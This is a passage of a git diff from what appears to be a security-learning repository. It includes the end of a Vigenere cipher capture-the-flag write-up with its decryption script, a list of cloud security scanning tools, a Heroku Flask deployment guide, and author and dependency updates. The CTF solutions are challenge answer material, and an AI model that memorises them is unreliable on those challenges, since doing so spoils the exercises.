FAILTOFINDHERTHEYTHANKEDHIMANDBADEHIMGOODBYEANDTURNEDTOWARDTHEWESTWALKINGOVERFIELDS
|
||||||
|
OFSOFTGRASSDOTTEDHEREANDTHEREWITHDAISIESANDBUTTERCUPSDOROTHYSTILLWORETHEPRETTYSILKDRESS
|
||||||
|
SHEHADPUTONINTHEPALACEBUTNOWTOHERSURPRISESHEFOUNDITWASNOLONGERGREENBUTPUREWHITETHERIB
|
||||||
|
BONAROUNDTOTOSNECKHADALSOLOSTITSGREENCOLORANDWASASWHITEASDOROTHYSDRESSTHEEMERALDCITYW
|
||||||
|
ASSOONLEFTFARBEHINDASTHEYADVANCEDTHEGROUNDBECAMEROUGHERANDHILLIERFORTHEREWERENOFARMSN
|
||||||
|
ORHOUSESINTHISCOUNTRYOFTHEWESTANDTHEGROUNDWASUNTILLEDINTHEAFTERNOONTHESUNSHONEHOTINTHEI
|
||||||
|
RFACESFORTHEREWERENOTREESTOOFFERTHEMSHADESOTHATBEFORENIGHTDOROTHYANDTOTOANDTHELIONWER
|
||||||
|
ETIREDANDLAYDOWNUPONTHEGRASSANDFELLASLEEPWITHTHEWOODMANANDTHESCARECROWKEEPINGWATCH
|
||||||
|
|
||||||
|
|
||||||
|
Finally, we use the key to decipher the password:
|
||||||
|
|
||||||
|
```python
|
||||||
|
def solve(msg, key):
|
||||||
|
dec_msg = Vigenere(msg).decipher(key)
|
||||||
|
dec_msg = dec_msg.replace(" ", "")
|
||||||
|
return dec_msg
|
||||||
|
|
||||||
|
if __name__ == '__main__':
|
||||||
|
# deciphering
|
||||||
|
key = 'FREKEY'
|
||||||
|
with open('pass', 'r') as f:
|
||||||
|
msg = f.readlines()
|
||||||
|
answer = solve(msg[0].strip(), key)
|
||||||
|
print "The answer is: " + answer
|
||||||
|
```
|
||||||
|
|
||||||
|
[Vigenere cipher]: http://en.wikipedia.org/wiki/Vigen%C3%A8re_cipher
|
||||||
|
[pygenere]: http://smurfoncrack.com/pygenere/pygenere.py
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
----
|
||||||
|
|
||||||
|
## Level 5: Vigenere Cipher II
|
||||||
|
|
||||||
|
The sixth level starts with:
|
||||||
|
|
||||||
|
|
||||||
|
> Frequency analysis can break a known key length as well. Let's try one last polyalphabetic cipher, but this time the key length is unknown.
|
||||||
|
|
||||||
|
This is another example of Vigenere Cipher. Using the same method as before, we first get the key and then the password.
|
||||||
|
|
||||||
|
|
@ -1,6 +1,6 @@
|
|||||||
#!/bin/python
|
#!/bin/python
|
||||||
|
|
||||||
__author__= 'bt3gl'
|
__author__= 'Mia Stein'
|
||||||
|
|
||||||
import string
|
import string
|
||||||
import sys
|
import sys
|
||||||
|
1057
CTFs_and_WarGames/WARGAMES/narnia/README.md
Normal file
1057
CTFs_and_WarGames/WARGAMES/narnia/README.md
Normal file
File diff suppressed because it is too large
Load Diff
1432
CTFs_and_WarGames/WARGAMES/natas.md
Normal file
1432
CTFs_and_WarGames/WARGAMES/natas.md
Normal file
File diff suppressed because it is too large
Load Diff
13
Cloud_and_K8s_Hacking/README.md
Normal file
13
Cloud_and_K8s_Hacking/README.md
Normal file
@ -0,0 +1,13 @@
|
|||||||
|
# Cloud and K8s Hacking
|
||||||
|
|
||||||
|
### CI/CD pipelines
|
||||||
|
|
||||||
|
* Static code security analyzers: [SonarQube](https://www.sonarqube.org/) (Javascript scanner), [NodeJsScan](https://github.com/ajinabraham/NodeJsScan).
|
||||||
|
* Package dependency security analyzers: [Snyk](https://snyk.io/).
|
||||||
|
* Docker image security analyzers: [Hadolint](https://github.com/hadolint/hadolint), [Clair](https://github.com/coreos/clair), [Anchore](https://anchore.com/).
|
||||||
|
* AWS IAM permission analyzers: [IAM access advisor APIs](https://aws.amazon.com/blogs/security/automate-analyzing-permissions-using-iam-access-advisor/).
|
||||||
|
* [PMapper](https://github.com/nccgroup/PMapper).
|
||||||
|
* AWS S3 permission analyzers: [s3audit](https://github.com/scalefactory/s3audit).
|
||||||
|
* Docker runtime anomaly detection: [Falco](https://hub.docker.com/r/sysdig/falco).
|
||||||
|
* Kubernetes policy security analyzers: [RBAC](https://searchsecurity.techtarget.com/definition/role-based-access-control-RBAC).
|
||||||
|
* Policy auditing tools: [Rakkess](https://github.com/corneliusweig/rakkess).
|
199
Cloud_and_K8s_Hacking/intro_heroku.md
Normal file
199
Cloud_and_K8s_Hacking/intro_heroku.md
Normal file
@ -0,0 +1,199 @@
|
|||||||
|
# Deploying a Flask App at Heroku
|
||||||
|
|
||||||
|
|
||||||
|
Heroku platform is very flexible, and it supports several programming languages. To
|
||||||
|
deploy an application to Heroku, use Git to push the application to Heroku’s server.
|
||||||
|
|
||||||
|
This document shows how to deploy [Anti-Social Network](https://anti-social.herokuapp.com/).
|
||||||
|
|
||||||
|
# Running in a Production Server
|
||||||
|
|
||||||
|
Heroku does not provide a web server, but it expects it to start their own servers and listen on the port number set in environment variable PORT. Flask will perform very poorly because it was not designed to run in a production environment. To improve this, you may use a production-ready web server such as Gunicorn.
|
||||||
|
|
||||||
|
```
|
||||||
|
$ pip install gunicorn
|
||||||
|
```
|
||||||
|
|
||||||
|
Now, run your app with:
|
||||||
|
|
||||||
|
```
|
||||||
|
$ gunicorn manage:app
|
||||||
|
```
|
||||||
|
|
||||||
|
Gunicorn uses port 8000 instead of 5000.
|
||||||
|
|
||||||
|
# Heroku Setting Up
|
||||||
|
|
||||||
|
### Create an account at Heroku.com
|
||||||
|
|
||||||
|
If you haven't done it yet, remember: you will be able to keep up to five applications running (you can always delete them if you need).
|
||||||
|
|
||||||
|
### Install Git and Heroku Toolbelt
|
||||||
|
|
||||||
|
You can find instructions at Heroku.com.
|
||||||
|
|
||||||
|
For example, if you are in an AWS EC2 Ubuntu instance, you can use:
|
||||||
|
|
||||||
|
```
|
||||||
|
$ sudo apt-get install -y git-core
|
||||||
|
$ wget -qO- https://toolbelt.heroku.com/install-ubuntu.sh | sh
|
||||||
|
```
|
||||||
|
|
||||||
|
You can check if it worked with:
|
||||||
|
|
||||||
|
```
|
||||||
|
$ which git
|
||||||
|
$ which heroku
|
||||||
|
```
|
||||||
|
|
||||||
|
Now, login at Heroku:
|
||||||
|
|
||||||
|
```
|
||||||
|
$ heroku login
|
||||||
|
```
|
||||||
|
|
||||||
|
## Authorize your Machine at Heroku
|
||||||
|
|
||||||
|
### Create and add an SSH Key at Heroku:
|
||||||
|
|
||||||
|
```
|
||||||
|
$ ssh-keygen -t rsa
|
||||||
|
$ heroku keys:add
|
||||||
|
```
|
||||||
|
|
||||||
|
The public and private keys will be at ```~/.ssh```. I always recommend backup your keys. Never share your private key.
|
||||||
|
|
||||||
|
### Creating a Git Repository
|
||||||
|
|
||||||
|
Heroku's push/commits work just like Git. But instead of using the "origin" you use "heroku" (you can verify this later at .git/refs/remotes/). In other words, your project's control version (development) is done by using:
|
||||||
|
|
||||||
|
```
|
||||||
|
$ git push origin master (or any branch you like)
|
||||||
|
```
|
||||||
|
|
||||||
|
and the deployment at Heroku (production) is done using:
|
||||||
|
|
||||||
|
```
|
||||||
|
$ git push heroku master (or any branch you like)
|
||||||
|
```
|
||||||
|
|
||||||
|
In the root of your project, go ahead, and create a Git repository, commit, add, push:
|
||||||
|
|
||||||
|
```
|
||||||
|
$ git init
|
||||||
|
$ git add -A
|
||||||
|
$ git commit -m "First commit"
|
||||||
|
$ git push origin master
|
||||||
|
```
|
||||||
|
|
||||||
|
### Creating an App
|
||||||
|
|
||||||
|
Now, let's create our app at Heroku:
|
||||||
|
|
||||||
|
```
|
||||||
|
$ heroku create <app-name>
|
||||||
|
```
|
||||||
|
|
||||||
|
You can check all your current applications with:
|
||||||
|
|
||||||
|
```
|
||||||
|
$ heroku apps
|
||||||
|
```
|
||||||
|
|
||||||
|
### Addons and Environment Variables
|
||||||
|
|
||||||
|
Now it's time to add the addons and the environment variables to your app at the Heroku server. For the app I mentioned in the beginning, I type:
|
||||||
|
|
||||||
|
```
|
||||||
|
$ heroku addons:add heroku-postgresql:dev
|
||||||
|
$ heroku pg:promote HEROKU_POSTGRESQL_ONYX_URL
|
||||||
|
$ heroku config:set MAIL_USERNAME="<login>"
|
||||||
|
$ heroku config:set MAIL_PASSWORD="<password>"
|
||||||
|
```
|
||||||
|
|
||||||
|
You can always check your configuration with:
|
||||||
|
```
|
||||||
|
$ heroku config
|
||||||
|
```
|
||||||
|
|
||||||
|
### Adding Requirements
|
||||||
|
|
||||||
|
Heroku needs to know what libraries and packages it needs to install to be able to run your application. For this, create a file requirements.txt in the root of your app, with all the libraries from your environment. One way of doing this is by:
|
||||||
|
|
||||||
|
```
|
||||||
|
$ cat pip freeze >> requirements.txt
|
||||||
|
```
|
||||||
|
|
||||||
|
#### Adding Procfile
|
||||||
|
|
||||||
|
Next, Heroku needs to know the command to use to start your app. This is given by a file called Procfile. The content should be:
|
||||||
|
|
||||||
|
```
|
||||||
|
web gunicorn manage:app
|
||||||
|
```
|
||||||
|
(if this is how you run your application).
|
||||||
|
|
||||||
|
In the Procfile, each line has a task name, a colon, and the command that runs the task. We use web here because Heroku recognizes it as the task that starts the webserver. Heroku gives this task a PORT environment variable, and set it to the port in which the application needs to listen for requests.
|
||||||
|
|
||||||
|
### Using Foreman to Emulate Heroku
|
||||||
|
|
||||||
|
The Heroku Toolbelt includes Foreman, used to run the app locally through the Procfile for testing purposes. The environment variables set at Heroku must be defined locally. Just create a file var.env with this information:
|
||||||
|
|
||||||
|
```
|
||||||
|
FLASK_CONFIG=heroku
|
||||||
|
MAIL_USERNAME=<your-username>
|
||||||
|
MAIL_PASSWORD=<your-password>
|
||||||
|
```
|
||||||
|
|
||||||
|
Foreman run is used to run commands under the environment of the application. Foreman start reads the Procfile and executes the tasks in it:
|
||||||
|
|
||||||
|
```
|
||||||
|
$ foreman run python manage.py deploy
|
||||||
|
$ foreman start
|
||||||
|
```
|
||||||
|
|
||||||
|
### Configuring Logging
|
||||||
|
|
||||||
|
In Heroku, logs are written to stdout or stderr. In my app, I added the logging configuration to a class in my app's ```config.py``` file:
|
||||||
|
|
||||||
|
```
|
||||||
|
class HerokuConfig(ProductionConfig):
|
||||||
|
@classmethod
|
||||||
|
def init_app(cls, app):
|
||||||
|
ProductionConfig.init_app(app)
|
||||||
|
|
||||||
|
import logging
|
||||||
|
from logging import StreamHandler
|
||||||
|
file_handler = StreamHandler()
|
||||||
|
file_handler.setLevel(logging.WARNING)
|
||||||
|
app.logger.addHandler(file_handler)
|
||||||
|
```
|
||||||
|
|
||||||
|
To let Heroku know what configuration it should use, I add this environment variable:
|
||||||
|
```
|
||||||
|
$ heroku config:set FLASK_CONFIG=heroku
|
||||||
|
```
|
||||||
|
|
||||||
|
Now if something goes wrong when you deploy, you can always check the log:
|
||||||
|
|
||||||
|
```
|
||||||
|
$ heroku logs
|
||||||
|
```
|
||||||
|
|
||||||
|
### Deploying!
|
||||||
|
|
||||||
|
If everything is well-done, it's time to deploy your application. Since you already committed your app before, you just need to push it to Heroku:
|
||||||
|
|
||||||
|
```
|
||||||
|
$ git push heroku master
|
||||||
|
```
|
||||||
|
|
||||||
|
In my app, I have a script for the deployment (such as taking care of database and other setups for production). So, additionally, I run:
|
||||||
|
|
||||||
|
```
|
||||||
|
$ heroku run python manage.py deploy
|
||||||
|
$ heroku restart
|
||||||
|
```
|
||||||
|
|
||||||
|
That's it! The app should be running at ```< app-name >.herokuapp.com```.
|
||||||
|
|
@ -1,6 +1,6 @@
|
|||||||
#!/usr/bin/env python
|
#!/usr/bin/env python
|
||||||
|
|
||||||
__author__ = "bt3"
|
__author__ = "Mia Stein"
|
||||||
|
|
||||||
|
|
||||||
from Crypto.Cipher import DES
|
from Crypto.Cipher import DES
|
||||||
|
@ -1,6 +1,6 @@
|
|||||||
#!/usr/bin/env python
|
#!/usr/bin/env python
|
||||||
|
|
||||||
__author__ = "bt3"
|
__author__ = "Mia Stein"
|
||||||
|
|
||||||
|
|
||||||
from Crypto.Cipher import DES
|
from Crypto.Cipher import DES
|
||||||
|
@ -1,6 +1,6 @@
|
|||||||
"""
|
"""
|
||||||
Adapted from Filippo Valsorda's tutorial
|
Adapted from Filippo Valsorda's tutorial
|
||||||
Marina Wahl, august/2014
|
Mia Stein, 2014
|
||||||
"""
|
"""
|
||||||
|
|
||||||
from md5 import MD5
|
from md5 import MD5
|
||||||
|
@ -1,2 +1,3 @@
|
|||||||
Flask==0.10.1
|
Flask==2.2.5
|
||||||
requests==2.3.0
|
requests==2.32.2
|
||||||
|
|
||||||
|
@ -1,6 +1,6 @@
|
|||||||
#!/usr/bin/env python
|
#!/usr/bin/env python
|
||||||
|
|
||||||
__author__ = "bt3"
|
__author__ = "Mia Stein"
|
||||||
|
|
||||||
|
|
||||||
'''
|
'''
|
||||||
|
Some files were not shown because too many files have changed in this diff Show More
Loading…
x
Reference in New Issue
Block a user